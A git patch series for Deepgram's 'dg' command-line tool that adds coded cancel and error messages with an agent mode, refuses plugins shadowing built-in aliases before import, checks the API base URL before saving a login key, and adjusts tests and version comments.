-        assert 4.0 <= elapsed < 6.5
+        assert 4.0 <= elapsed < 8.5  # one 5 s wait, not two
         monkeypatch.setattr(config_module, "_LOCK_TIMEOUT", 0.2)
         config.save(implicit=True)  # returns without writing
         assert path.read_text() == original
diff --git a/packages/deepctl-core/tests/unit/test_skill_generator.py b/packages/deepctl-core/tests/unit/test_skill_generator.py
index 66031ba2..8a78fc07 100644
--- a/packages/deepctl-core/tests/unit/test_skill_generator.py
+++ b/packages/deepctl-core/tests/unit/test_skill_generator.py
@@ -2712,11 +2712,11 @@ def test_a_killed_holder_never_leaves_a_stale_lock(self, monkeypatch):
         with lock_child(monkeypatch) as (child, _):
             child.kill()  # SIGKILL on POSIX, TerminateProcess on Windows.
             child.join(30)
-        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 1.0)
+        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 10.0)
         start = time.monotonic()
         with sg._state_lock():
             pass
-        assert time.monotonic() - start < 1.0
+        assert time.monotonic() - start < 5.0
         assert sg._STATE_FILE.with_name("skills.json.lock").exists()
 
     def test_a_killed_replacement_keeps_its_record_and_old_copy(
@@ -2842,7 +2842,7 @@ def fail(*a):
         took = time.monotonic() - start
         lock = sg._STATE_FILE.with_name("skills.json.lock")
         assert str(exc.value) == _msg(key, lock=lock, reason=os.strerror(code))
-        assert took < 2.0 if key == "E28" else took >= 0.5
+        assert took < 3.5 if key == "E28" else took >= 0.5
         assert state_bytes() is None and not root().exists()
 
     def test_ctrl_c_while_waiting_closes_the_lock_and_writes_nothing(
@@ -2906,11 +2906,11 @@ def locked_then_interrupted(*a):
             m.setattr(owner, name, locked_then_interrupted)
             with pytest.raises(KeyboardInterrupt), sg._state_lock():
                 pass
-        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 5.0)
+        monkeypatch.setattr(sg, "_LOCK_TIMEOUT", 10.0)
         start = time.monotonic()
         with sg._state_lock():  # The interrupted take did not keep the file locked.
             pass
-        assert time.monotonic() - start < (5.0 if win else 1.0)
+        assert time.monotonic() - start < 5.0
         assert getattr(sg._LOCAL, "fd", None) is None
 
     @POSIX
diff --git a/packages/deepctl-shared-utils/tests/unit/test_file_info.py b/packages/deepctl-shared-utils/tests/unit/test_file_info.py
index 07afe3e6..c7a59f50 100644
--- a/packages/deepctl-shared-utils/tests/unit/test_file_info.py
+++ b/packages/deepctl-shared-utils/tests/unit/test_file_info.py
@@ -236,15 +236,16 @@ def test_file_info_creation_performance(
 
         iterations = 1000
 
-        start_time = time.time()
+        # CPU time, so a busy host doesn't count against it.
+        start_time = time.process_time()
         for _ in range(iterations):
             FileInfo(**valid_file_data)
-        end_time = time.time()
+        end_time = time.process_time()
 
         total_time = end_time - start_time
 
-        # Assert reasonable performance (should be < 1ms per creation)
-        assert total_time < 1.0  # Less than 1 second for 1000 iterations
+        # Assert reasonable performance (should be < 2 ms per creation)
+        assert total_time < 2.0  # Less than 2 s of CPU for 1000 iterations
         avg_time = total_time / iterations
         assert avg_time < 0.001  # Less than 1ms per creation
 

From 26a78905cf4640d80e16915bc74e6eb48384d012 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 14:12:34 -0500
Subject: [PATCH 64/88] fix(cli): use coded messages for cancel and unexpected
 errors

Ctrl-C and Ctrl-D now print "Cancelled." (exit 2), and an exception
nothing else handles prints "Command failed: <message>" with a next
step (exit 1). In agent mode both print exactly two prefixed lines, ERROR:
and HINT:, with the agent hint from the catalogue. The early
Ctrl-C path in main() prints the same lines without rich or Click.
---
 .../deepctl-core/src/deepctl_core/messages.py | 11 ++++
 src/deepctl/_cli.py                           | 39 +++++++++++++-
 src/deepctl/main.py                           | 28 +++++++---
 tests/unit/test_entry_point.py                | 23 ++++++--
 tests/unit/test_main.py                       | 54 +++++++++++++++++++
 5 files changed, 144 insertions(+), 11 deletions(-)

diff --git a/packages/deepctl-core/src/deepctl_core/messages.py b/packages/deepctl-core/src/deepctl_core/messages.py
index 10639f8c..a19aac1c 100644
--- a/packages/deepctl-core/src/deepctl_core/messages.py
+++ b/packages/deepctl-core/src/deepctl_core/messages.py
@@ -235,6 +235,17 @@
     "--config."
 )
 
+# ── Cancelled and unexpected errors (the root handler) ───────────
+
+E_CANCELLED = "Cancelled."
+A_CANCELLED = "The user cancelled. Don't retry unless they ask."
+E_INTERNAL = "Command failed: {exception_message}"
+H_INTERNAL = (
+    "Run the command again with --verbose for details, and report it at "
+    "https://github.com/deepgram/cli/issues."
+)
+A_INTERNAL = "This is a bug in dg. Tell the user and include the command you ran."
+
 # ── Project file deepgram.yaml ───────────────────────────────────
 
 W_PF = "Ignored {key} in {project_file}: {reason}"
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 1bdd5555..c5862c6e 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -1011,6 +1011,41 @@ def _safe_console_print(message: str) -> None:
         pass
 
 
+def _agent_lines(error: str, hint: str) -> None:
+    """Agent mode: exactly two prefixed lines (ERROR:, HINT:) on stderr."""
+    try:
+        click.echo(f"ERROR: {error}\nHINT: {hint}", err=True, color=False)
+    except (OSError, ValueError):
+        pass
+
+
+def _print_cancelled() -> None:
+    """The line for Ctrl-C/Ctrl-D (exit 2): ``cancelled`` in the catalogue."""
+    from deepctl_core import messages as msg
+    from deepctl_core.output import is_agentic
+
+    if is_agentic():
+        _agent_lines(msg.E_CANCELLED, msg.A_CANCELLED)
+        return
+    _safe_console_print(f"\n[yellow]{msg.E_CANCELLED}[/yellow]")
+
+
+def _print_internal_error(exc: BaseException) -> None:
+    """The catch-all for an exception nothing else handled (exit 1)."""
+    from deepctl_core import messages as msg
+    from deepctl_core.output import is_agentic
+
+    message = msg.E_INTERNAL.format(exception_message=str(exc) or type(exc).__name__)
+    if is_agentic():
+        _agent_lines(message, msg.A_INTERNAL)
+        return
+    from rich.markup import escape
+
+    # The exception text can hold anything: text, not markup.
+    _safe_console_print(f"[red]Error: {escape(message)}[/red]")
+    _safe_console_print(f"  [dim]{escape(msg.H_INTERNAL)}[/dim]")
+
+
 def _print_usage(ctx: click.Context | None) -> None:
     """Click's usage line and "Try ... --help" before a usage error, so the
     program name a user typed (or ``DEEPCTL_PROG_NAME``) shows up.
@@ -1282,7 +1317,7 @@ def run(
         # Click wraps a Ctrl-C/Ctrl-D raised inside cli() in Abort when
         # standalone_mode=False, so a mid-command interrupt arrives here as
         # Abort, not KeyboardInterrupt. Both are user cancellation: exit 2.
-        _safe_console_print("\n[yellow]Operation cancelled by user[/yellow]")
+        _print_cancelled()
         sys.exit(2)
     except click.UsageError as e:
         # Keep the published exit-code contract (1 = error), but explain the
@@ -1320,6 +1355,6 @@ def run(
             pass
         sys.exit(e.exit_code)
     except Exception as e:
-        _safe_console_print(f"[red]Error: {e}[/red]")
+        _print_internal_error(e)
         _report_error(e)
         sys.exit(1)  # 1 = error; 2 is reserved for user interrupt
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index 91c152cc..99c0537d 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -191,6 +191,26 @@ def safe_output_streams() -> None:
             continue  # an unknown encoding, or a closed stream
 
 
+def _write_cancelled() -> None:
+    """run()'s cancel lines, written without rich or Click."""
+    text = "\nCancelled.\n"
+    try:
+        from deepctl_core import messages as msg
+        from deepctl_core.agents import is_agentic
+
+        if is_agentic():
+            text = f"ERROR: {msg.E_CANCELLED}\nHINT: {msg.A_CANCELLED}\n"
+        else:
+            text = f"\n{msg.E_CANCELLED}\n"
+    except (Exception, KeyboardInterrupt):  # half-loaded: keep the default
+        pass
+    try:
+        sys.stderr.write(text)
+        sys.stderr.flush()
+    except (AttributeError, OSError, ValueError):
+        pass
+
+
 def _print_version() -> None:
     if sys.stdout is None:  # started with stdout closed (`dg --version >&-`)
         return
@@ -246,12 +266,8 @@ def main(prog: "str | None" = None) -> None:
         from deepctl._cli import run
     except KeyboardInterrupt:
         # Ctrl-C while the CLI is still loading: cancelled, exit 2, the same
-        # line run() prints (rich may not be loaded yet), and no traceback.
-        try:
-            sys.stderr.write("\nOperation cancelled by user\n")
-            sys.stderr.flush()
-        except (AttributeError, OSError, ValueError):
-            pass
+        # lines run() prints (rich may not be loaded yet), and no traceback.
+        _write_cancelled()
         sys.exit(2)
 
     run(args, started_at, prog)
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 4f05f6f2..37283d2e 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -258,13 +258,30 @@ def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
 
 
 class TestInterruptWhileLoading:
+    @pytest.mark.parametrize(
+        ("dg_agent", "expected"),
+        [
+            ("0", "\nCancelled.\n"),
+            (
+                "1",
+                "ERROR: Cancelled.\n"
+                "HINT: The user cancelled. Don't retry unless they ask.\n",
+            ),
+        ],
+    )
     def test_ctrl_c_while_the_cli_loads_is_cancelled_quietly(
-        self, monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str]
+        self,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+        dg_agent: str,
+        expected: str,
     ) -> None:
         """A Ctrl-C before run() is entered is cancelled: exit 2, run()'s
-        cancel line, no traceback."""
+        cancel lines, no traceback."""
         from deepctl import main as entry
 
+        monkeypatch.setenv("DG_AGENT", dg_agent)
+
         class Interrupts:
             def find_spec(self, name: str, *args: object) -> None:
                 if name == "deepctl._cli":
@@ -280,5 +297,5 @@ def find_spec(self, name: str, *args: object) -> None:
         assert exc.value.code == 2
         captured = capsys.readouterr()
         assert "Traceback" not in captured.err
-        assert captured.err == "\nOperation cancelled by user\n"
+        assert captured.err == expected
         assert captured.out == ""
diff --git a/tests/unit/test_main.py b/tests/unit/test_main.py
index ab2c84b3..e67c5ab6 100644
--- a/tests/unit/test_main.py
+++ b/tests/unit/test_main.py
@@ -434,6 +434,60 @@ def test_global_option_hint_leaves_out_value_for_flags(self):
         )
 
 
+class TestRootHandlerMessages:
+    """Cancel and the catch-all print the catalogue's coded messages."""
+
+    def _run(self, capsys, error, *, agentic):
+        from deepctl.main import main
+
+        with (
+            patch("sys.argv", ["dg", "models"]),
+            patch("deepctl_core.output.is_agentic", return_value=agentic),
+            patch.object(_cli_mod, "cli", side_effect=error),
+            patch.object(_cli_mod, "_report_error"),
+            pytest.raises(SystemExit) as exc_info,
+        ):
+            main()
+        captured = capsys.readouterr()
+        assert captured.out == ""
+        return exc_info.value.code, captured.err
+
+    def test_cancel_human(self, capsys):
+        code, err = self._run(capsys, click.exceptions.Abort(), agentic=False)
+        assert code == 2
+        assert err == "\nCancelled.\n"
+
+    def test_cancel_agent_mode_prints_two_prefixed_lines(self, capsys):
+        code, err = self._run(capsys, KeyboardInterrupt(), agentic=True)
+        assert code == 2
+        assert err.splitlines() == [
+            "ERROR: Cancelled.",
+            "HINT: The user cancelled. Don't retry unless they ask.",
+        ]
+
+    def test_unexpected_error_human_gives_next_step(self, capsys):
+        code, err = self._run(capsys, RuntimeError("boom [red]x"), agentic=False)
+        assert code == 1
+        flat = " ".join(err.split())
+        assert "Error: Command failed: boom [red]x" in flat
+        assert (
+            "Run the command again with --verbose for details, and report it "
+            "at https://github.com/deepgram/cli/issues."
+        ) in flat
+
+    def test_unexpected_error_agent_mode(self, capsys):
+        code, err = self._run(capsys, RuntimeError("boom"), agentic=True)
+        assert code == 1
+        assert err.splitlines() == [
+            "ERROR: Command failed: boom",
+            "HINT: This is a bug in dg. Tell the user and include the command you ran.",
+        ]
+
+    def test_unexpected_error_without_text_names_its_type(self, capsys):
+        _, err = self._run(capsys, RuntimeError(), agentic=True)
+        assert err.splitlines()[0] == "ERROR: Command failed: RuntimeError"
+
+
 class TestRichTraceback:
     """An uncaught exception gets a rich traceback, without frame locals.
 

From 7c415cbdccf8664963e2d44732340514c7896662 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:02:13 -0500
Subject: [PATCH 65/88] test(debug-probe): run the ignored-SIGINT check only on
 Linux

The check reads the SigIgn mask from /proc/self/status, which exists only
on Linux, so on macOS and Windows it failed opening the file. It now
skips there and, on Linux, always checks the mask.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../deepctl-cmd-debug-probe/tests/unit/test_probe.py     | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index 4800b470..eb4c1cb7 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -2,6 +2,7 @@
 
 import asyncio
 import json
+import sys
 from unittest.mock import Mock, patch
 
 import pytest
@@ -364,6 +365,10 @@ def custom(signum, frame):  # pragma: no cover - never called
         assert seen == []
         assert "Stopping: open connections can finish" in capsys.readouterr().err
 
+    @pytest.mark.skipif(
+        not sys.platform.startswith("linux"),
+        reason="reads the SigIgn mask from /proc/self/status (Linux only)",
+    )
     def test_ignored_sigint_stays_ignored(self):
         """A background job in a script starts with SIGINT ignored: kill -INT
         must not stop the proxy, and SIGINT stays ignored afterwards."""
@@ -394,8 +399,8 @@ def hooks(proxy, loop, port):
         out = json.loads(proc.stdout.strip().splitlines()[-1])
         assert out["status"] == "success"
         assert out["ignored"] is True
-        if out["sigign"] is not None:  # Linux: the SIGINT bit is still set
-            assert int(out["sigign"], 16) & (1 << (2 - 1))
+        assert out["sigign"] is not None
+        assert int(out["sigign"], 16) & (1 << (2 - 1))  # the SIGINT bit is still set
         assert "Stopping: open connections can finish" not in proc.stderr
 
     def test_keyboard_interrupt_path_first_and_second_press(self, capsys):

From bf22611c45490a49472f6014fa1ac1ff79728549 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:02:47 -0500
Subject: [PATCH 66/88] fix(plugin): refuse a plugin named like a built-in
 alias before importing it

A plugin entry point named like a built-in command was refused before
its module was imported, but one named like a built-in alias, such as
debug-audio, was imported first and only refused once loaded. The check
before import now includes the top-level aliases too, so none of that
plugin's code runs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 packages/deepctl-core/src/deepctl_core/plugin_manager.py | 6 ++++--
 packages/deepctl-core/tests/unit/test_plugin_manager.py  | 7 +++++++
 2 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/packages/deepctl-core/src/deepctl_core/plugin_manager.py b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
index 40390201..03ead454 100644
--- a/packages/deepctl-core/src/deepctl_core/plugin_manager.py
+++ b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
@@ -338,7 +338,8 @@ def _refused_by_entry_point_name(
     ) -> bool:
         """Whether an entry point is refused by its own name, before loading.
 
-        An entry point named like a built-in or reserved command must not be
+        An entry point named like a built-in or reserved command, or (at the
+        top level) like a built-in alias such as ``debug-audio``, must not be
         imported unless ``_admit`` would register it under that name. Only a
         taken name is checked here: an entry point's name isn't always its
         command's name (``my_tool`` may register ``my-tool``), so the full
@@ -347,7 +348,8 @@ def _refused_by_entry_point_name(
         name = getattr(entry_point, "name", None)
         if type(name) is not str or _VALID_PLUGIN_NAME.fullmatch(name) is None:
             return False
-        if name not in builtin_modules and name not in reserved:
+        alias = not path_prefix and name in BUILTIN_ALIASES
+        if name not in builtin_modules and name not in reserved and not alias:
             return False
         kind = self._admit(name, entry_point, builtin_modules, reserved, path_prefix)
         return kind is None
diff --git a/packages/deepctl-core/tests/unit/test_plugin_manager.py b/packages/deepctl-core/tests/unit/test_plugin_manager.py
index f2ed8809..ba3dcd88 100644
--- a/packages/deepctl-core/tests/unit/test_plugin_manager.py
+++ b/packages/deepctl-core/tests/unit/test_plugin_manager.py
@@ -1634,6 +1634,13 @@ def test_reserved_name_is_refused_when_the_builtin_is_missing(self, capsys):
         assert "login" not in group.commands
         assert "Ignored the plugin command 'login'" in _err(capsys)
 
+    def test_plugin_named_like_a_builtin_alias_is_never_imported(self, capsys):
+        shadow = _unloadable_entry_point("debug-audio", "evil_audio:Audio", "evil")
+        group = _load(PluginManager(), plugin_eps=[shadow])
+        shadow.load.assert_not_called()
+        assert "debug-audio" not in group.commands
+        assert "Ignored the plugin command 'debug-audio'" in _err(capsys)
+
     def test_stray_commands_entry_point_is_never_imported(self):
         stray = _unloadable_entry_point("login", "evil_login:Login", "deepctl-core")
         stray.group = "deepctl.commands"

From 020cec319c82f7d1aacd5e8f686091c4a96eaf14 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:03:00 -0500
Subject: [PATCH 67/88] fix(login): check the base URL before dg login
 --complete saves a key

dg login checks that the API base URL is trusted before it starts a
device login, but dg login --complete went straight to polling and
saving the approved key. It now runs the same check first, so an
untrusted DEEPGRAM_BASE_URL or --base-url stops it before any request,
and the pending login is kept for a retry.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../src/deepctl_cmd_login/command.py                 |  6 ++++++
 .../tests/unit/test_login_device_agent.py            | 12 ++++++++++++
 2 files changed, 18 insertions(+)

diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index 8869937b..b45de117 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1111,6 +1111,12 @@ def _complete(
         stop = _preflight(config)
         if stop is not None:
             return stop
+        # The approved key is saved for this profile's base URL: refuse an
+        # untrusted one before polling, as a new login does.
+        try:
+            auth_manager.check_base_url()
+        except CredentialHostError as e:
+            return CodedErrorResult(error=e.error, code=e.code, hint=e.hint)
         prog = _prog()
         shown = _shown_prog(prog)
         loaded = load_pending(agent=is_ai_agent())
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
index 527da2dd..e8a49737 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_device_agent.py
@@ -358,6 +358,18 @@ def test_complete_never_sends_the_code_to_another_login_host(env, monkeypatch):
     assert [r.split()[0] for r in env["fake"].requests] == ["code"]
 
 
+def test_complete_refuses_an_untrusted_base_url_before_polling(env, monkeypatch):
+    write_user(env)
+    run(env)
+    env["fake"].answers = [approved()]
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "https://api.evil.example")
+    _, result = run(env, complete=True)
+    assert result.code == "foreign_host"
+    assert [r.split()[0] for r in env["fake"].requests] == ["code"]
+    assert env["keyring"] == {}
+    assert pending_path(env).exists()
+
+
 def test_complete_with_api_key_is_a_usage_error(env):
     import click
 

From 085b54ce72f261695da51881b00b09169978406b Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:03:16 -0500
Subject: [PATCH 68/88] test: merge the two fixtures that clear AI agent
 markers

The speak tests had their own autouse fixture that cleared the agent
markers and DG_AGENT, which the root fixtures already clear for every
test. It is removed, and the remaining fixture's docstring covers the
agent output rules the speak tests relied on.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 conftest.py | 19 ++++---------------
 1 file changed, 4 insertions(+), 15 deletions(-)

diff --git a/conftest.py b/conftest.py
index 02c51581..20c94591 100644
--- a/conftest.py
+++ b/conftest.py
@@ -38,8 +38,10 @@ def _clean_ai_agent_env(monkeypatch):
     """Run as a person would, even when an AI coding agent launched pytest.
 
     Agent markers (AI_AGENT_ENV_MARKERS, Aider's OR_*) switch dg into its
-    agent trust mode. Tests that cover that mode set them, or patch
-    is_ai_agent, themselves.
+    agent trust mode and its agent output rules, and a developer's own shell
+    may set them (CLAUDECODE=1). Tests that cover agent mode set them, or
+    patch is_ai_agent or agent_mode, themselves. DG_AGENT is cleared with
+    the DEEPGRAM_* variables below.
     """
     from deepctl_core.output import AI_AGENT_ENV_MARKERS
 
@@ -57,19 +59,6 @@ def _clean_deepgram_env(monkeypatch):
     monkeypatch.delenv("DG_AGENT", raising=False)
 
 
-@pytest.fixture(autouse=True)
-def _speak_tests_run_as_a_person(request, monkeypatch):
-    """Speak tests run as a person by default: the agent rules key off hard
-    agent markers, which a developer's own shell may set (CLAUDECODE=1).
-    Tests that need agent mode patch ``agent_mode`` themselves."""
-    if "deepctl-cmd-speak" not in request.path.parts:
-        return
-    from deepctl_core.output import AI_AGENT_ENV_MARKERS
-
-    for name in (*AI_AGENT_ENV_MARKERS, "OR_APP_NAME", "OR_SITE_URL", "DG_AGENT"):
-        monkeypatch.delenv(name, raising=False)
-
-
 @pytest.fixture(autouse=True)
 def _disable_telemetry(monkeypatch):
     """Keep tests that call `main()` from initializing real telemetry.

From d19dad905af53c8217123b7fb25d8172516549bf Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Fri, 6 Nov 2026 21:03:29 -0500
Subject: [PATCH 69/88] docs: compare with 0.4.1 in comments, the release
 before 0.5.0

Comments, docstrings and the manifest schema compared behavior with a
version number that was never released. The release they mean is 0.4.1.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 docs/contracts/manifest.schema.json              |  2 +-
 .../tests/unit/test_probe.py                     |  2 +-
 .../src/deepctl_cmd_login/command.py             |  2 +-
 .../tests/unit/test_keyring_bound.py             |  4 ++--
 packages/deepctl-core/src/deepctl_core/auth.py   |  2 +-
 .../deepctl-core/src/deepctl_core/credentials.py | 10 +++++-----
 .../deepctl-core/src/deepctl_core/transport.py   |  4 ++--
 .../deepctl-core/tests/unit/test_credentials.py  | 16 ++++++++--------
 src/deepctl/_cache.py                            |  2 +-
 src/deepctl/_cli.py                              |  4 ++--
 src/deepctl/_manifest_build.py                   |  2 +-
 tests/unit/test_lazy_group.py                    |  2 +-
 tests/upgrade/lib.sh                             |  2 +-
 13 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/docs/contracts/manifest.schema.json b/docs/contracts/manifest.schema.json
index f6691a5f..af91c466 100644
--- a/docs/contracts/manifest.schema.json
+++ b/docs/contracts/manifest.schema.json
@@ -32,7 +32,7 @@
   },
   "$defs": {
     "name": {
-      "description": "A command or alias name: the 0.4.2 plugin name rule.",
+      "description": "A command or alias name: the 0.4.1 plugin name rule.",
       "type": "string",
       "pattern": "^[a-z][a-z0-9-]{0,63}$"
     },
diff --git a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
index eb4c1cb7..defecc6c 100644
--- a/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
+++ b/packages/deepctl-cmd-debug-probe/tests/unit/test_probe.py
@@ -464,7 +464,7 @@ async def never(reader, writer):
 
 
 class TestProbeConnectionChecks:
-    """0.4.2's Host and Origin cases, on the websockets proxy: checked in
+    """0.4.1's Host and Origin cases, on the websockets proxy: checked in
     process_request, before the handshake and any upstream connection."""
 
     KEY = "fa1ce0000000000000000000000000000000000d"
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index b45de117..edf9b314 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1646,7 +1646,7 @@ def handle(
         # key_source uses these same words): one bounded keyring read, and an
         # expired finite profile credential doesn't mask the environment's.
         # Like before, --api-key isn't a storage source here. Read-only, as in
-        # 0.4.2: an expired credential's keyring entry stays (prune=False).
+        # 0.4.1: an expired credential's keyring entry stays (prune=False).
         resolved = auth_manager.resolve(
             profile=profile_name, use_flags=False, prune=False
         )
diff --git a/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py b/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
index 790c1ddb..c872217c 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
@@ -99,12 +99,12 @@ def test_profiles_list_is_bounded(setup):
     config = Config()
     result, took = _timed(lambda: AuthManager(config).list_profiles())
     assert took < 5.0  # the keyring hangs until the test ends
-    # A timeout falls back to the file, like a keyring error did in 0.4.2.
+    # A timeout falls back to the file, like a keyring error did in 0.4.1.
     assert result.profiles["work"].api_key == "****" + "w" * 4
 
 
 def test_whoami_leaves_an_expired_entry_alone(tmp_path, monkeypatch):
-    """Whoami is read-only, as in 0.4.2; key_source unchanged."""
+    """Whoami is read-only, as in 0.4.1; key_source unchanged."""
     from deepctl_cmd_login.command import WhoamiCommand
 
     monkeypatch.setattr(config_module, "_pending_notices", [])
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 4b14c1fc..075f06ac 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -396,7 +396,7 @@ def has_profile_credentials(
     ) -> tuple[bool, bool]:
         """Check if profile has stored credentials.
 
-        As in 0.4.2, a profile key is a usable keyring entry or a key in the
+        As in 0.4.1, a profile key is a usable keyring entry or a key in the
         profile as the config holds it (which includes ``DEEPGRAM_API_KEY``).
 
         Args:
diff --git a/packages/deepctl-core/src/deepctl_core/credentials.py b/packages/deepctl-core/src/deepctl_core/credentials.py
index b3bd5786..589ea857 100644
--- a/packages/deepctl-core/src/deepctl_core/credentials.py
+++ b/packages/deepctl-core/src/deepctl_core/credentials.py
@@ -8,7 +8,7 @@
 is answered from it, so ``mcp``, ``init``, ``debug toolkit`` and ``login``
 share one precedence.
 
-The 0.5.0 precedence is 0.4.2's, unchanged: ``--api-key`` > the profile's
+The 0.5.0 precedence is 0.4.1's, unchanged: ``--api-key`` > the profile's
 keyring entry > the profile in the config file > ``DEEPGRAM_API_KEY``. The
 config file layer already holds ``DEEPGRAM_API_KEY`` when it is set
 (``Config`` merges the environment into the profile), so a file key equal to
@@ -101,7 +101,7 @@ class Resolved:
     untrusted_source: str | None = None
     # Why a stored credential was unusable when nothing else was set.
     expiry_error: str | None = None
-    # 0.4.2's has_profile_credentials(): a usable keyring entry, or a key in
+    # 0.4.1's has_profile_credentials(): a usable keyring entry, or a key in
     # the profile as Config holds it (which includes DEEPGRAM_API_KEY).
     profile_has_key: bool = False
     profile_has_project: bool = False
@@ -400,8 +400,8 @@ def resolve(
     leaves ``DEEPGRAM_API_KEY`` and ``DEEPGRAM_PROJECT_ID`` out.
     ``need_key=False`` answers project questions without reading the keyring.
     ``prune=False`` keeps the answer read-only: an expired credential's
-    keyring entry stays (whoami and the other introspection, as in 0.4.2);
-    commands that use the key prune it, as 0.4.2's ``get_api_key`` did.
+    keyring entry stays (whoami and the other introspection, as in 0.4.1);
+    commands that use the key prune it, as 0.4.1's ``get_api_key`` did.
     Raises nothing; ``expiry_error`` says why a stored credential wasn't used.
     """
     try:
@@ -499,7 +499,7 @@ def result(
                 if raw_env_key and file_key == raw_env_key
                 else KEY_SOURCE_FILE
             )
-            # As in 0.4.2, ignore_env doesn't skip the env value Config
+            # As in 0.4.1, ignore_env doesn't skip the env value Config
             # merged into the profile; it skips only the last fallback.
             mismatch = source == KEY_SOURCE_FILE and _mismatch(file_key, env_key)
             return result(file_key, source, has_key=True, env_mismatch=mismatch)
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index 198ae2d6..8844d8be 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -10,7 +10,7 @@
 cookies, and verifies TLS. A person's ``DEEPGRAM_CLI_INSECURE=1`` (or
 ``true``) skips verification for localhost, 127.0.0.1 and [::1] only, and
 never under an AI agent (``auth._insecure_allowed`` and
-``auth._insecure_mounts``, as in 0.4.2). :func:`verified_client` is the
+``auth._insecure_mounts``, as in 0.4.1). :func:`verified_client` is the
 always-verified client for ``dg api``; WebSocket streams always verify.
 The SDK facade builds its client through :attr:`Transport.backend`, a seam
 for other backends (#142's SageMaker), with the REST backend as the default.
@@ -89,7 +89,7 @@ def _new_client(*, insecure_loopback: bool) -> httpx.Client:
     from .auth import _insecure_mounts, _warn_if_verified
 
     if insecure_loopback:
-        # As AuthManager.client (0.4.2): verification stays on, and only the
+        # As AuthManager.client (0.4.1): verification stays on, and only the
         # loopback hosts get unverified transports.
         return httpx.Client(
             timeout=DEFAULT_TIMEOUT_S,
diff --git a/packages/deepctl-core/tests/unit/test_credentials.py b/packages/deepctl-core/tests/unit/test_credentials.py
index 3cf3a01e..e636f65d 100644
--- a/packages/deepctl-core/tests/unit/test_credentials.py
+++ b/packages/deepctl-core/tests/unit/test_credentials.py
@@ -1,4 +1,4 @@
-"""deepctl_core.credentials: one resolver, 0.4.2's precedence."""
+"""deepctl_core.credentials: one resolver, 0.4.1's precedence."""
 
 from __future__ import annotations
 
@@ -85,7 +85,7 @@ def write_config(home: Path, data: dict[str, Any], mode: int = 0o600) -> Path:
     return path
 
 
-# ── 0.4.2's get_api_key(), verbatim in substance, as the golden ─────────
+# ── 0.4.1's get_api_key(), verbatim in substance, as the golden ─────────
 
 
 def golden_042(config: Config, explicit: str | None, kr: FakeKeyring) -> str | None:
